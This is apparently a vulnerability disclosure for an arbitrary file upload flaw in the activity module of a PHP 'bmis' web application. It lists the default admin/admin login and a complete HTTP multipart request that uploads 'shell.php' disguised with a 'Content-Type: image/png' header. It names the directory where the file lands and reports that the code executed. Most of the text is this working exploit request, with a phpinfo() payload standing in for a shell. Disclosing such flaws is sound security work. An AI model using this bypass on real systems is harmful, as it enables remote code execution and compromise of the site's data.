BUG_AUTHOR: whynot37
The decompression password for the source file is itsourcecode.
Login account: admin/admin (Super Admin account)
Vulnerability url: ip/bmis/pages/activity/activity.php
Loophole location: Background management system Activity module editing function-> "activity.php" file picture upload point exists arbitrary file upload vulnerability (RCE).
Click "Save" to save
Content-Type: image/png //Key points (Bypass detection by changing "Content Type" to "Content-Type: image/png")
Request package for file upload：
POST /bmis/pages/activity/activity.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/bmis/pages/activity/activity.php
Cookie: PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; _ga=GA1.1.1382961971.1655097107; _gid=GA1.1.804632123.1655097107
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------231533211823565
Content-Length: 625
-----------------------------231533211823565
Content-Disposition: form-data; name="txt_doc"
1
-----------------------------231533211823565
Content-Disposition: form-data; name="txt_act"
1
-----------------------------231533211823565
Content-Disposition: form-data; name="txt_desc"
1
-----------------------------231533211823565
Content-Disposition: form-data; name="files[]"; filename="shell.php"
Content-Type: image/png //Key points
JFJF
<?php phpinfo();?>
-----------------------------231533211823565
Content-Disposition: form-data; name="btn_add"
Add Activity
-----------------------------231533211823565--
The files will be uploaded to this directory \bmis\pages\activity\photo
We visited the directory of the file in the browser and found that the code had been executed
